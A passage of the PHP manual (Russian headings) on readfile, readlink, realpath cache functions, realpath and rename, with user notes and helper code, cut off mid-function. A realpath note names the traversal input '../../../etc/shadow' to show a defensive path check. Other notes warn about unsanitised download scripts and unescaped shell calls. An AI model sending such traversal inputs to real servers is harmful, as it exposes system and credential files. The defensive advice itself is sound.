To use readfile() it is absolutely necessary to set the mime-type before. If you are using an Apache, it's quite simple to figure out the correct mime type. Apache has a file called "mime.types" which can (in normal case) be read by all users.

Use this (or another) function to get a list of mime-types:

<?php

    function mimeTypes($file) {
        if (!is_file($file) || !is_readable($file)) return false;
        $types = array();
        $fp = fopen($file,"r");
        while (false != ($line = fgets($fp,4096))) {
            if (!preg_match("/^\s*(?!#)\s*(\S+)\s+(?=\S)(.+)/",$line,$match)) continue;
            $tmp = preg_split("/\s/",trim($match[2]));
            foreach($tmp as $type) $types[strtolower($type)] = $match[1];
        }
        fclose ($fp);

        return $types;
    }

    # [...]

    # read the mime-types
    $mimes = mimeTypes('/usr/local/apache/current/conf/mime.types');

    # use them ($ext is the extension of your file)
    if (isset($mimes[$ext])) header("Content-Type: ".$mimes[$ext]);
    header("Content-Length: ".@filesize($fullpath));
    readfile($fullpath); exit;

?>

If you do not want to read from the mime.types file directly, you can of course make a copy in another folder!
Cheers Philipp Heckel
flobee at gmail dot com 06-May-2005 11:17
regarding php5:
i found out that there is already a disscussion @php-dev  about readfile() and fpassthru() where only exactly 2 MB will be delivered.

so you may use this on php5 to get lager files
<?php
function readfile_chunked($filename,$retbytes=true) {
    $chunksize = 1*(1024*1024); // how many bytes per chunk
    $buffer = '';
    $cnt =0;
    // $handle = fopen($filename, 'rb');
    $handle = fopen($filename, 'rb');
    if ($handle === false) {
        return false;
    }
    while (!feof($handle)) {
        $buffer = fread($handle, $chunksize);
        echo $buffer;
        if ($retbytes) {
            $cnt += strlen($buffer);
        }
    }
        $status = fclose($handle);
    if ($retbytes && $status) {
        return $cnt; // return num. bytes delivered like readfile() does.
    }
    return $status;

}
?>
TheDayOfCondor 27-Apr-2005 06:24
I think that readfile suffers from the maximum script execution time. The readfile is always completed even if it exceed the default 30 seconds limit, then the script is aborted.
Be warned that you can get very odd behaviour not only on large files, but also on small files if the user has a slow connection.

The best thing to do is to use

<?
  set_time_limit(0);
?>

just before the readfile, to disable completely the watchdog if you intend to use the readfile call to tranfer a file to the user.
TheDayOfCondor 20-Apr-2005 09:10
Beware - the chunky readfile suggested by Rob Funk can easily exceed you maximum script execution time (30 seconds by default).

I suggest you to use the set_time_limit function inside the while loop to reset the php watchdog.
Thomas Jespersen 25-Oct-2004 06:06
Remember if you make a "force download" script like mentioned below that you SANITIZE YOUR INPUT!

I have seen a lot of  download scripts that does not test so you are able to download anything you want on the server.

Test especially for strings like ".." which makes directory traversal possible. If possible only permit characters a-z, A-Z and 0-9 and make it possible to only download from one "download-folder".


Возвращает файл, на который указывает символическая ссылка

  • « readfile
  • realpath_cache_get »
  • PHP Manual
  • Функции файловой системы
  • Возвращает файл, на который указывает символическая ссылка

readlink

(PHP 4, PHP 5, PHP 7, PHP 8)

readlink — Возвращает файл, на который указывает символическая ссылка

Описание

readlink(string $path): string|false

readlink() делает то же самое, что и функция C readlink.

Список параметров

path

Путь к символической ссылке.

Возвращаемые значения

Возвращает путь, на который указывает символическая ссылка, либо false в случае возникновения ошибки.

Замечание: Функция завершается ошибкой, если path не является символической ссылкой, кроме Windows, где будет возвращён нормализованный путь.

Примеры

Пример #1 Пример использования функции readlink()

<?php

// выведет что-то вроде /boot/vmlinux-2.4.20-xfs
echo readlink('/vmlinuz');

?>

Смотрите также

  • is_link() - Определяет, является ли файл символической ссылкой
  • symlink() - Создаёт символическую ссылку
  • linkinfo() - Возвращает информацию о ссылке

User Contributed Notes

casinero dot triste at OH_NO_SPAM dot gmail dot com 29-Jul-2017 08:40
A little function to readlink TO THE END:
(realpath can't do this if the symlink (ultimately) points to a non-existing path, since it just returns false in this case.)

function readlinkToEnd($linkFilename) {
  if(!is_link($linkFilename)) return $linkFilename;
  $final = $linkFilename;
  while(true) {
    $target = readlink($final);
    if(substr($target, 0, 1)=='/') $final = $target;
    else $final = dirname($final).'/'.$target;
    if(substr($final, 0, 2)=='./') $final = substr($final, 2);
    if(!is_link($final)) return $final;
  }
}
casinero dot triste at OH_NO_SPAM dot gmail dot com 29-Jul-2017 08:35
A little function to readlink TO THE END:
(realpath can't do this if the symlink (ultimately) points to a non-existing path, since it just returns false in this case.)

function readlinkToEnd($linkFilename) {
  if(!is_link($linkFilename)) return $linkFilename;
  $final = $linkFilename;
  while(true) {
    $target = readlink($final);
    if(substr($target, 0, 1)=='/') $final = $target;
    else $final = dirname($final).'/'.$target;
    if(substr($final, 0, 2)=='./') $final = substr($final, 2);
    if(!is_link($final)) return $final;
  }
}
ayon at hyurl dot com 09-Mar-2017 04:38
It is neccesary to be notified that readlink only works for a real link file, if this link file locates to a directory, you cannot detect and read its contents, the is_link() function will always return false and readlink() will display a warning is you try to do. Like the following codes:
<?php
//assume that A is a directory located in C:, B is a symlink to A, and A contents a file named C.
echo is_link('B/C'); //false
echo readlink('B/C'); //false and a warning will be displayed
//instead, you should use realpath() function to get the real path of C
echo realpath('B/C'); //C:\A\C
?>
MarkAndrewSlade at gmail dot com 10-Jun-2009 12:35
This will trigger a warning and return false if you pass it a non-symlink.  If the file doesn't exist, it will trigger a differently worded warning.

mslade@jupiter ~$ touch a
mslade@jupiter ~$ ln -s a b
mslade@jupiter ~$ ls -l {a,b}
-rw------- 1 mslade mslade 0 2009-06-10 15:27 a
lrwxrwxrwx 1 mslade mslade 1 2009-06-10 15:27 b -> a
mslade@jupiter ~$ php -r "var_dump(readlink('b'));"
string(1) "a"
mslade@jupiter ~$ php -r "var_dump(readlink('a'));"

Warning: readlink(): Invalid argument in Command line code on line 1
bool(false)
mslade@jupiter ~$ php -r "var_dump(readlink('c'));"

Warning: readlink(): No such file or directory in Command line code on line 1
bool(false)


Получает записи из кеша realpath

  • « readlink
  • realpath_cache_size »
  • PHP Manual
  • Функции файловой системы
  • Получает записи из кеша realpath

realpath_cache_get

(PHP 5 >= 5.3.2, PHP 7, PHP 8)

realpath_cache_get — Получает записи из кеша realpath

Описание

realpath_cache_get(): array

Получает содержимое кеша реального пути.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив записей из кеша realpath. Ключи являются записями realpath, а значения являются массивами данных, содержащих вычисленный путь, время жизни кеша и других данных, хранящихся в кеше.

Примеры

Пример #1 Пример использования realpath_cache_get()

<?php
var_dump(realpath_cache_get());
?>

Результатом выполнения данного примера будет что-то подобное:

array(2) {
  ["/test"] => array(4) {
    ["key"] => int(123456789)
    ["is_dir"] => bool(true)
    ["realpath"] => string(5) "/test"
    ["expires"] => int(1260318939)
  }
  ["/test/test.php"] => array(4) {
    ["key"] => int(987654321)
    ["is_dir"] => bool(false)
    ["realpath"] => string(12) "/root/test.php"
    ["expires"] => int(1260318939)
  }
}

Смотрите также

  • realpath_cache_size() - Получает размер кеша realpath

User Contributed Notes

phil at code67 dot com 05-Oct-2015 10:10
Note that the realpath cache is not used if either safe_mode is on or an open_basedir restriction is in effect.
This is having a huge performance effect, causing lots of calls to lstat.

A bugreport has already been filed at http://bugs.php.net/bug.php?id=52312


Получает размер кеша realpath

  • « realpath_cache_get
  • realpath »
  • PHP Manual
  • Функции файловой системы
  • Получает размер кеша realpath

realpath_cache_size

(PHP 5 >= 5.3.2, PHP 7, PHP 8)

realpath_cache_size — Получает размер кеша realpath

Описание

realpath_cache_size(): int

Получает объем памяти, используемый кешем realpath.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает, сколько используется кеш-памяти realpath.

Примеры

Пример #1 Пример использования realpath_cache_size()

<?php
var_dump(realpath_cache_size());
?>

Результатом выполнения данного примера будет что-то подобное:

int(412)

Смотрите также

  • realpath_cache_get() - Получает записи из кеша realpath
  • Конфигурационная опция realpath_cache_size

User Contributed Notes

Anonymous 30-Jan-2015 08:07
Realpath_cache_size default parameter settings are too low (16k).
In the windows and Polish language assessed following be at least a 32k or 64k.
otherwise appache sometimes locks up (especially when using IE).
Stephen Pritchard from Arcanavision 13-Jan-2011 10:18
"realpath_cache_size" is used by PHP to cache the real file system paths of filenames referenced instead of looking them up each time.  Every time you perform any of the various file functions or include/require a file and use a relative path, PHP has to look up where that file really exists. PHP caches those values so it doesn't have to search the current working directory and include_path for the file you are working on.
If your website uses lots of relative path files, think about increasing this value.  What value is required can be better estimated after monitoring by how fast the cache fills using realpath_cache_size() after restarting. Its contents can be viewed using realpath_cache_get().
superaap at gmail dot com 05-Nov-2010 07:41
Note that the realpath cache is not used if either safe_mode is on or an open_basedir restriction is in effect.
This is having a huge performance effect, causing lots of calls to lstat.

A bugreport has already been filed at http://bugs.php.net/bug.php?id=52312


Возвращает канонизированный абсолютный путь к файлу

  • « realpath_cache_size
  • rename »
  • PHP Manual
  • Функции файловой системы
  • Возвращает канонизированный абсолютный путь к файлу

realpath

(PHP 4, PHP 5, PHP 7, PHP 8)

realpath — Возвращает канонизированный абсолютный путь к файлу

Описание

realpath(string $path): string|false

realpath() раскрывает все символические ссылки, переходы типа /./, /../ и лишние символы / в пути path, возвращая канонизированный абсолютный путь к файлу.

Список параметров

path

Проверяемый путь.

Замечание:

Несмотря на то, что путь должен быть указан, переданное значение может быть пустой строкой. В этих случаях значение интерпретируется как текущая рабочая директория.

Возвращаемые значения

В случае успешного выполнения возвращает канонизированный абсолютный путь. Результирующий путь не содержит символических ссылок и компонентов наподобие /./ или '/../. Разделители \ и / в конце пути также удаляются.

realpath() возвращает false при неудаче, например, если файл не существует.

Замечание:

Запускаемый скрипт должен иметь права запуска на всех директориях в проверяемой иерархии, иначе realpath() вернёт false.

Замечание:

Для регистронезависимых файловых систем, realpath() может нормализовать или не нормализовать регистр символов.

Замечание:

Функция realpath() не будет работать с файлом внутри архива Phar, так как путь может быть не реальным, а виртуальным.

Замечание:

В Windows переходы и символические ссылки на каталоги расширяются только на один уровень.

Замечание: Так как тип integer в PHP является целым числом со знаком, и многие платформы используют 32-х битные целые числа, то некоторые функции файловых систем могут возвращать неожиданные результаты для файлов размером больше 2 Гб.

Примеры

Пример #1 Пример использования функции realpath()

<?php
chdir('/var/www/');
echo realpath('./../../etc/passwd') . PHP_EOL;

echo realpath('/tmp/') . PHP_EOL;
?>

Результат выполнения данного примера:

/etc/passwd
/tmp

Пример #2 realpath() на Windows

На Windows realpath() изменит пути стиля Unix на стиль Windows.

<?php
echo realpath('/windows/system32'), PHP_EOL;

echo realpath('C:\Program Files\\'), PHP_EOL;
?>

Результат выполнения данного примера:

C:\WINDOWS\System32
C:\Program Files

Смотрите также

  • basename() - Возвращает последний компонент имени из указанного пути
  • dirname() - Возвращает имя родительского каталога из указанного пути
  • pathinfo() - Возвращает информацию о пути к файлу

User Contributed Notes

belisoful at icloud dot com 04-Jan-2023 06:58
Sven Arduwie answer is not tested and does not replicate the behavior of realpath but is a close solution.

This has been unit tested to be as close to realpath as possible but without the path having to actually exist in the system.

This takes relative paths and realizes them properly based on actual current working directory, but everything can be virtual. eg.  "../someVirtualDir/./virtualFile.jpg"

<?php

    public static function virtualpath($path): string
    {
        $path = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $path);
        $len = strlen($path);
        $relative = strpos($path, DIRECTORY_SEPARATOR);
        if (!$len || ($len > 0 && $path[0] == '.') || $relative !== 0) {
            $path = getcwd() . DIRECTORY_SEPARATOR . $path;
        }
        $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
        $absolutes = [];
        foreach ($parts as $part) {
            if ('.' == $part) {
                continue;
            }
            if ('..' == $part) {
                array_pop($absolutes);
            } else {
                $absolutes[] = $part;
            }
        }
        return DIRECTORY_SEPARATOR . implode(DIRECTORY_SEPARATOR, $absolutes);
    }

?>
Enzo dot Barbaguelatta at alma dot cl 16-Mar-2022 06:12
Be noticed that, one of the reasons of realtpath retuning false can be if the path does not exist, or it has permission issues, or even if security modules of your operating system (let's say, SELinux for example) avoids you checking the path.

If you're like me and you had a not very good time checking why realpath retuns false, please check these points first.
moreau dot marc dot web at gmail dot com 01-Oct-2019 07:13
<?php

namespace MockingMagician\Organic\Helper;

class Path
{
    /**
     * There is a method that deal with Sven Arduwie proposal https://www.php.net/manual/en/function.realpath.php#84012
     * And runeimp at gmail dot com proposal https://www.php.net/manual/en/function.realpath.php#112367
     * @param string $path
     * @return string
     */
    public static function getAbsolute(string $path): string
    {
        // Cleaning path regarding OS
        $path = mb_ereg_replace('\\\\|/', DIRECTORY_SEPARATOR, $path, 'msr');
        // Check if path start with a separator (UNIX)
        $startWithSeparator = $path[0] === DIRECTORY_SEPARATOR;
        // Check if start with drive letter
        preg_match('/^[a-z]:/', $path, $matches);
        $startWithLetterDir = isset($matches[0]) ? $matches[0] : false;
        // Get and filter empty sub paths
        $subPaths = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'mb_strlen');

        $absolutes = [];
        foreach ($subPaths as $subPath) {
            if ('.' === $subPath) {
                continue;
            }
            // if $startWithSeparator is false
            // and $startWithLetterDir
            // and (absolutes is empty or all previous values are ..)
            // save absolute cause that's a relative and we can't deal with that and just forget that we want go up
            if ('..' === $subPath
                && !$startWithSeparator
                && !$startWithLetterDir
                && empty(array_filter($absolutes, function ($value) { return !('..' === $value); }))
            ) {
                $absolutes[] = $subPath;
                continue;
            }
            if ('..' === $subPath) {
                array_pop($absolutes);
                continue;
            }
            $absolutes[] = $subPath;
        }

        return
            (($startWithSeparator ? DIRECTORY_SEPARATOR : $startWithLetterDir) ?
                $startWithLetterDir.DIRECTORY_SEPARATOR : ''
            ).implode(DIRECTORY_SEPARATOR, $absolutes);
    }

    /**
     * Examples
     *
     * echo Path::getAbsolute('/one/two/../two/./three/../../two');            =>    /one/two
     * echo Path::getAbsolute('../one/two/../two/./three/../../two');          =>    ../one/two
     * echo Path::getAbsolute('../.././../one/two/../two/./three/../../two');  =>    ../../../one/two
     * echo Path::getAbsolute('../././../one/two/../two/./three/../../two');   =>    ../../one/two
     * echo Path::getAbsolute('/../one/two/../two/./three/../../two');         =>    /one/two
     * echo Path::getAbsolute('/../../one/two/../two/./three/../../two');      =>    /one/two
     * echo Path::getAbsolute('c:\.\..\one\two\..\two\.\three\..\..\two');     =>    c:/one/two
     *
     */
}
plamen at dragiyski dot org 16-Apr-2019 02:27
realpath() is just a system/library call to actual realpath() function supported by OS. It does not work on a path as a string, but also resolves symlinks. The resulting path might significantly differs from the input even when absolute path is given. No function in this notes resolves that.

The suggestion on the realpath man page is to look for an existing parent directory. Here is an example:
<?php
    function resolvePath($path) {
        if(DIRECTORY_SEPARATOR !== '/') {
            $path = str_replace(DIRECTORY_SEPARATOR, '/', $path);
        }
        $search = explode('/', $path);
        $search = array_filter($search, function($part) {
            return $part !== '.';
        });
        $append = array();
        $match = false;
        while(count($search) > 0) {
            $match = realpath(implode('/', $search));
            if($match !== false) {
                break;
            }
            array_unshift($append, array_pop($search));
        };
        if($match === false) {
            $match = getcwd();
        }
        if(count($append) > 0) {
            $match .= DIRECTORY_SEPARATOR . implode(DIRECTORY_SEPARATOR, $append);
        }
        return $match;
    }
?>

The result will retrieve absolute path for non-existing relative path. Even if a path does not exists, there should be existing directory somewhere, for which the realpath could be obtained. If this is not within the relative path (i.e. even current working directory does not exists), getcwd() will retrieve absolute path, so some absolute path is returned (although in that case the PHP process could have huge problems).
https://stackoverflow.com/users/1397947/ 30-Aug-2017 06:38
It should probably be expressly noted that tilde expansion is not performed by realpath.
eion at robbmob dot com 06-Dec-2015 10:42
Be aware that realpath() doesn't work with hidden Windows UNC paths, eg  \\servername\share$\folder\blah.txt but other PHP file-functions can access that file fine.
Vincent Par 21-Apr-2015 01:33
Beware of relative symbolic links like this one (ext4 file system on Ubuntu) :

    vincent@vincent:~/Bureau/dirscan$ readlink sandbox/roulant/voiture/cabriolet/ln-loop-relative
    ../..

In this case, realpath may return false :

<?php
var_dump(realpath('sandbox/roulant/voiture/cabriolet/ln-loop-relative'));
// => string(44) "/home/vincent/Bureau/dirscan/sandbox/roulant"
var_dump(realpath('sandbox/roulant/voiture/cabriolet/ln-loop-relative/moto'));
// => bool(false)
?>

But you can fix it by clearing the realpath cache, this way :

<?php
var_dump(realpath('sandbox/roulant/voiture/cabriolet/ln-loop-relative'));
clearstatcache(true);
var_dump(realpath('sandbox/roulant/voiture/cabriolet/ln-loop-relative/moto'));
// => string(49) "/home/vincent/Bureau/dirscan/sandbox/roulant/moto"
?>
Leonard Challis 17-Jul-2013 07:40
When using realpath (and similar functions) remember that PHP will take in to account open_basedir restrictions. So, if you do something like:

<?php
// test.php in httpdocs folder
$path = realpath(dirname(__FILE__) . '/../application');
?>

where your open_basedir setting is set to the httpdocs folder and tmp, this will return false. You must set it to the level above (or off) for this to work.
runeimp at gmail dot com 07-Jun-2013 11:37
Needed a method to normalize a virtual path that could handle .. references that go beyond the initial folder reference. So I created the following.
<?php

function normalizePath($path)
{
    $parts = array();// Array to build a new path from the good parts
    $path = str_replace('\\', '/', $path);// Replace backslashes with forwardslashes
    $path = preg_replace('/\/+/', '/', $path);// Combine multiple slashes into a single slash
    $segments = explode('/', $path);// Collect path segments
    $test = '';// Initialize testing variable
    foreach($segments as $segment)
    {
        if($segment != '.')
        {
            $test = array_pop($parts);
            if(is_null($test))
                $parts[] = $segment;
            else if($segment == '..')
            {
                if($test == '..')
                    $parts[] = $test;

                if($test == '..' || $test == '')
                    $parts[] = $segment;
            }
            else
            {
                $parts[] = $test;
                $parts[] = $segment;
            }
        }
    }
    return implode('/', $parts);
}
?>

Will convert /path/to/test/.././..//..///..///../one/two/../three/filename
to ../../one/three/filename
Anonymous 31-May-2012 04:48
Note: If you use this to check if a file exists, it's path will be cached, and returns true even if the file is removed (use file_exists instead).
php at keith tyler dot com 18-Oct-2011 12:15
Note that under Windows, a slash-rooted path will resolve on the local drive, and *not* necessarily C:\.

For example:

M:\>php -r "print realpath('/AUTOEXEC.BAT');"
[prints nothing, because there is no M:\AUTOEXEC.BAT]

But:

M:\>C:
C:\>php -r "print realpath('/AUTOEXEC.BAT');"
C:\AUTOEXEC.BAT

Same script, different response depending on current drive.

I'm inclined to argue that this function *should* use the value of %SystemDrive% as the "slash root" base.
imagiro 21-Sep-2011 02:20
Here is a small and handy method to calculate the relative path from $from to $to. Note: On Windows it does not work when $from and $to are on different drives.

<?php
function relativePath($from, $to, $ps = DIRECTORY_SEPARATOR)
{
  $arFrom = explode($ps, rtrim($from, $ps));
  $arTo = explode($ps, rtrim($to, $ps));
  while(count($arFrom) && count($arTo) && ($arFrom[0] == $arTo[0]))
  {
    array_shift($arFrom);
    array_shift($arTo);
  }
  return str_pad("", count($arFrom) * 3, '..'.$ps).implode($ps, $arTo);
}
?>
Jrg Wagner 11-Jun-2010 12:35
Please be aware that this function does NOT always strip a trailing slash!:

LINUX (tested with PHP 5.2.11):
---
realpath('.')
: string = "/myhttpdfolder"
realpath('./')
: string = "/myhttpdfolder"
realpath('fileadmin')
: string = "/myhttpdfolder/fileadmin"
realpath('fileadmin/')
: string = "/myhttpdfolder/fileadmin"

WINDOWS (tested with PHP 5.2.5):
---
realpath('.')
: string = "C:\\myhttpdfolder"
realpath('./')
: string = "C:\\myhttpdfolder\\"
realpath('fileadmin')
: string = "C:\\myhttpdfolder\\fileadmin"
realpath('fileadmin/')
: string = "C:\\myhttpdfolder\\fileadmin\\"
Sven Arduwie 23-Jun-2008 03:43
Because realpath() does not work on files that do not
exist, I wrote a function that does.
It replaces (consecutive) occurences of / and \\ with
whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
Paths returned by get_absolute_path() contain no
(back)slash at position 0 (beginning of the string) or
position -1 (ending)
<?php
    function get_absolute_path($path) {
        $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
        $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
        $absolutes = array();
        foreach ($parts as $part) {
            if ('.' == $part) continue;
            if ('..' == $part) {
                array_pop($absolutes);
            } else {
                $absolutes[] = $part;
            }
        }
        return implode(DIRECTORY_SEPARATOR, $absolutes);
    }
?>

A test:
<?php
    var_dump(get_absolute_path('this/is/../a/./test/.///is'));
?>
Returns: string(14) "this/a/test/is"

As you can so, it also produces Yoda-speak. :)
David Beck 22-Nov-2006 07:38
Here's a function to canonicalize a URL containing relative paths. Ran into the problem when pulling links from a remote page.

<?php

function canonicalize($address)
{
    $address = explode('/', $address);
    $keys = array_keys($address, '..');

    foreach($keys AS $keypos => $key)
    {
        array_splice($address, $key - ($keypos * 2 + 1), 2);
    }

    $address = implode('/', $address);
    $address = str_replace('./', '', $address);
}

$url = 'http://www.example.com/something/../else';
echo canonicalize($url); //http://www.example.com/else

?>
Lars Scheithauer <l dot scheithauer at gmx dot de> 08-Jun-2005 10:44
This function is also nice to test for security-breaches. You can forbid the script to access files below a certain directory to prevent "../../../etc/shadow" and similar attacks:

<?php

// declare the basic directory for security reasons
// Please do NOT attach a "/"-suffix !
$basedir = '/var/www/cgi-bin/scriptfolder';

// compare the entered path with the basedir
$path_parts = pathinfo($_REQUEST['file_to_get']);
if (realpath($path_parts['dirname']) != $basedir) {
    /* appropriate action against crack-attempt*/
    die ('coding good - h4x1ng bad!');
}

?>

The url "script.php?file_to_get=../../../etc/shadow" will now result in an error.
pulstar at ig dot com dot br 20-Dec-2004 01:43
Sometimes you may need to refer to the absolute path of a file in your website instead of a relative path, but the realpath() function returns the path relative to the server's filesystem, not a path relative to your website root directory.

For example, realpath() may return something like this:

/home/yoursite/public_html/dir1/file.ext

You can't use this in an HTML document, because the web server will not find the file. To do so, you can use:

<?php

function htmlpath($relative_path) {
    $realpath=realpath($relative_path);
    $htmlpath=str_replace($_SERVER['DOCUMENT_ROOT'],'',$realpath);
    return $htmlpath;
}

echo '<img src="',htmlpath('../../relative/path/to/file.ext'),'" border=1>';

?>

It will return something like:

<img src="/dir1/relative/path/to/file.ext" border=1>


Переименовывает файл или директорию

  • « realpath
  • rewind »
  • PHP Manual
  • Функции файловой системы
  • Переименовывает файл или директорию

rename

(PHP 4, PHP 5, PHP 7, PHP 8)

rename — Переименовывает файл или директорию

Описание

rename(string $from, string $to, ?resource $context = null): bool

Пытается переименовать from в to, перенося файл между директориями, если необходимо. Если to существует, то он будет перезаписан. При переименовании директории с существующим to будет выведено предупреждение.

Список параметров

from

Старое имя.

Замечание:

Обёртка, используемая в from должна совпадать с обёрткой, используемой в to.

to

Новое имя.

Замечание: В Windows, если to уже существует, он должен быть доступен для записи. В противном случае rename() завершится ошибкой и выдаст E_WARNING.

context

Ресурс (resource) с контекстом потока.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования функции rename()

<?php
rename("/tmp/tmp_file.txt", "/home/user/login/docs/my_file.txt");
?>

Смотрите также

  • copy() - Копирует файл
  • unlink() - Удаляет файл
  • move_uploaded_file() - Перемещает загруженный файл в новое место

User Contributed Notes

gssj85 at gmail dot com 14-Oct-2022 11:47
If you rename a file their handler metadata is still the as before.
lord dot dracon at gmail dot com 03-Jan-2018 11:14
rename() function apparently doesn't move files larger than 4 GB, even though the filesystem supports, when the operating system is 32 bits.

Tested here with PHP 5.5.9 (x86), in Linux environment (Ubuntu 14.04.5 LTS i686), with source file (60 GB RAR file) in ext4 filesystem and destination is a external HD with NTFS filesystem. Only 4 GB was copied and RAR was corrupted: "Unexpected end of archive".

Not tested if rename() can move files larger than 4 GB in 64-bit environment.
tomv 10-Mar-2017 02:31
If $oldname and $newname are existing hard links referring to the same file, then rename() does nothing, and returns a success status.
(from the underlying libc rename() manual)
On the other hand "/bin/mv oldname newname" results in the removal of "oldname".
ben at indietorrent dot org 02-Jul-2015 03:31
From the Changelog notes:

"Warnings may be generated if the destination filesystem doesn't permit chown() or chmod() system calls to be made on files — for example, if the destination filesystem is a FAT filesystem."

More explicitly, rename() may still return (bool) true, despite the warnings that result from the underlying calls to chown() or chmod(). This behavior can be misleading absent a deeper understanding of the underlying mechanics. To rename across filesystems, PHP "fakes it" by calling copy(), unlink(), chown(), and chmod() (not necessarily in that order). See PHP bug #50676 for more information.

On UNIX-like operating systems, filesystems may be mounted with an explicit uid and/or gid (for example, with mount options "uid=someuser,gid=somegroup"). Attempting to call rename() with such a destination filesystem will cause an "Operation not permitted" warning, even though the file is indeed renamed and rename() returns (bool) true.

This is not a bug. Either handle the warning as is appropriate to your use-case, or call copy() and then unlink(), which will avoid the doomed calls to chown() and chmod(), thereby eliminating the warning.
mike at mbfisher dot com 23-Jan-2015 09:31
[Editor note: this works because SplFileObject has the __toString() method which returns the file path]

Note that you can pass an SplFileInfo object as either argument:

<?php
# Assume a file 'foo' in the current directory

rename('foo', new SplFileInfo('bar'));

# foo is now bar!

rename(new SplFileInfo('bar'), 'foo');

# bar is now foo again
?>
Robert 27-Jun-2014 08:38
If you use SplFileObject for the same file which
you want to rename you have to remove SplFileObject objec first.

<?php

$filePath = 'testFile.txt';
$fileObj = new SplFileObject(  $filePath  );
rename( $filePath, 'newName.txt'  );

// You will get - Permission denied error

$filePath = 'testFile.txt';
$fileObj = new SplFileObject( 'filePath.txt' );
$fileObj = null;
rename( $filePath, 'newName.txt'  );

// and now it is working.
?>
mike 19-Dec-2013 11:35
Important note - rename() does NOT work for *directories* across filesystems or devices. Only *files*

You will get two warnings:
"PHP Warning:  rename(): The first argument to copy() function cannot be a directory in <whatever> on line <whatever>"
"PHP Warning:  rename(t2,/var/run/test/t2): Invalid cross-device link in <whatever> on line <whatever>"

The copy() mentioned I assume is C's copy() and not PHP's copy() function. There is an associated bug in the Ubuntu bug system for this as well, that was escalated to bugs.php.net:
https://bugs.php.net/bug.php?id=54097

The only workarounds right now I believe is using PHP copy($source, $dest) and then on success, PHP unlink($source), or doing system("mv $source $dest") which is hokey, and should be surrounded by quotes for paths with spaces or other shell metacharacters, and possibly escaped for security.
bcag2 at free dot fr 07-Mar-2013 03:39
on windows (XP, vista, 7...) http://fr.wikipedia.org/wiki/Windows-1252", if your file name contains accent, it doesn't work basically. So use iconv function to convert from utf-8 to cp1252 as bellow :
<?php

$nomfichierinitial=iconv("UTF-8", "CP1252", "C:\\wamp\\www\\test.txt");
$nomfichierfinal="C:\\wamp\\www\\test.txt";
rename($nomfichierinitial, $nomfichierfinal);
?>
Martin Pelletier 05-Feb-2011 10:01
rename() is working on Linux/UNIX but not working on Windows on a directory containing a file formerly opened within the same script. The problem persists even after properly closing the file and flushing the buffer.

<?php
$fp = fopen ("./dir/ex.txt" , "r+");
$text = fread($fp, filesize("../dir/ex.txt"));
ftruncate($fp, 0);
$text2 = "some value";
fwrite ($fp,  $text2 );
fflush($fp);
fclose ($fp);
if (is_resource($fp))
    fclose($fp);
rename ("./dir", ".dir2"); // will give a «permission denied» error
?>

Strangely it seem that the rename command is  executed BEFORE the handle closing on Windows.

Inserting a sleep() command before the renaming cures the problem.

<?php
$fp = fopen ("./dir/ex.txt" , "r+");
$text = fread($fp, filesize("../dir/ex.txt"));
ftruncate($fp, 0);
$text2 = "some value";
fwrite ($fp,  $text2 );
fflush($fp);
fclose ($fp);
if (is_resource($fp))
    fclose($fp);
sleep(1);    // this does the trick
rename ("./dir", ".dir2"); //no error
?>
andrew at 21cv dot co dot uk 15-Apr-2010 05:19
Code first, then explanation.

<?php

 rename ("/folder/file.ext", "newfile.ext");

?>

That doesn't rename the file within the folder, as you might assume, instead, it moves the file to whatever the PHP working directory is... Chances are you'll not find it in your FTP tree. Instead, use the following:

<?php

 rename ("/folder/file.ext", "/folder/newfile.ext");

?>
Morteza 10-Apr-2010 12:04
This code renames all  files and folders in a specific directory to lower case:

<?php
$path = "my_doc";

function getDirectory( $path = '.', $level = 0 ){

    $ignore = array( 'cgi-bin', '.', '..' );

    $dh = @opendir( $path );

    while( false !== ( $file = readdir( $dh ) ) )
    {
        if( !in_array( $file, $ignore ) )
        {
            $spaces = str_repeat( '&nbsp;', ( $level * 4 ) );
            if( is_dir( "$path/$file" ) )
            {
                echo "<strong>$spaces $file</strong><br />";
                rename($path."\\".$file, strtolower($path."\\".$file));
                getDirectory( "$path/$file", ($level+1) );

            }
            else {
                echo "$spaces $file<br />";
                rename($path."\\".$file, strtolower($path."\\".$file));
            }
        }
    }
    closedir( $dh );
}

getDirectory( $path , 0 )

?>
pcdinh at phpvietnam dot net 29-Jul-2009 09:10
For those who are still confused about the behavior of rename() in Linux and Windows (Windows XP) when target destination exists:

I have tested rename($oldName, $targetName) in PHP 5.3.0 and PHP 5.2.9 on both OS and find that if a file named $targetName does exist before, it will be overwritten with the content of $oldName
andrew at iwebsolutions dot co dot uk 02-Apr-2009 01:36
Note that this WILL NOT WORK if trying to rename a directory to a network share.

e.g.
rename('/home/user/me/dir1', '/mnt/shares/nfsmount/dir2')

will create a file called 'dir2' on the share and not a directory.

This caught me out and my (quickest) solution was to use an exec and mv command:

<?php
$cmd = 'mv "/home/user/me/dir1" "/mnt/shares/nfsmount/dir2"';
exec($cmd, $output, $return_val);

if ($return_val == 0) {
   echo "success";
} else {
   echo "failed";
}
?>
Whooptydoo 07-Jul-2008 09:11
If by any chance you end up with something equivalent to this:

<?php
rename('/foo/bar','/foo/bar');
?>

It returns true. It's not documented.
dev at islam-soft dot com 05-Jan-2007 04:52
- rename extension of files

changeext($directory, $ext1, $ext2, $verbose)

i wrote this function to rename the extention of some files in a folder and sub-folders inside it ..

parameter 1 :  the directory name
parameter 2 :  the first extention wich we want to replace
parameter 3 :  the new extention of files

for a simple usage call the function :
changeext('dir', 'html', 'php',  'false');

to change evry file name with extention html  into php  in the directory  dir

<?php

function changeext($directory, $ext1, $ext2, $verbose = false) {
  $num = 0;
  if($curdir = opendir($directory)) {
   while($file = readdir($curdir)) {
     if($file != '.' && $file != '..') {

       $srcfile = $directory . '/' . $file;
       $string  = "$file";
       $str     = strlen($ext1);
       $str++;
       $newfile = substr($string, 0, -$str);
       $newfile = $newfile.'.'.$ext2;
